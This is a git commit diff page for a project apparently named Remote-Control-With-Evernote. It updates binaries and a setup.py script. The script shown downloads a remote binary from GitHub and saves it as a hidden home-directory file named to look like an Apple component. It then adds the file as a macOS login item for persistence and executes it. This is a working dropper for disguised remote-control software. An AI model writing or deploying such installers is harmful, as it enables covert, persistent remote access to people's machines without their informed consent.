diff options
| author | littleblack111 <jerrylam110209@gmail.com> | 2023-08-14 16:51:44 +0800 |
|---|---|---|
| committer | littleblack111 <jerrylam110209@gmail.com> | 2023-08-14 16:51:44 +0800 |
| commit | dddfcbc49e606176f606318e96ca446b659e2ee2 (patch) | |
| tree | 4260a58f97b444a41da70986024d1bdad30419b5 | |
| parent | 6945840674bfb9512d2d7ebf19bead5f559c0803 (diff) | |
updated
| -rwxr-xr-x | dist/main | bin | 6871248 -> 6871264 bytes | |||
| -rwxr-xr-x | dist/main.app/Contents/MacOS/main | bin | 6871248 -> 6871264 bytes | |||
| -rwxr-xr-x | dist/setup | bin | 4298960 -> 4298944 bytes | |||
| -rwxr-xr-x | dist/setup.app/Contents/MacOS/setup | bin | 4298960 -> 4298944 bytes | |||
| -rw-r--r-- | setup.py | 4 |
5 files changed, 2 insertions, 2 deletions
| Binary files differ diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main Binary files differBinary files differindex 68eb243..ea017c1 100755 --- a/dist/main.app/Contents/MacOS/main +++ b/dist/main.app/Contents/MacOS/main diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup Binary files differindex b5dfd97..3ea9884 100755 --- a/dist/setup.app/Contents/MacOS/setup +++ b/dist/setup.app/Contents/MacOS/setup @@ -2,7 +2,7 @@ from requests import get from os.path import expanduser from os import remove from subprocess import Popen as subproc -from os import system, chmod +from os import system filename = "com.apple.com.user.core" localfile = f"{expanduser('~')}/.{filename}" @@ -11,6 +11,6 @@ localfile = f"{expanduser('~')}/.{filename}" open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main", allow_redirects=True).content) system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}' > /dev/null") -chmod(localfile, 755) +system(f"chmod +x {localfile}") subproc([localfile]) |
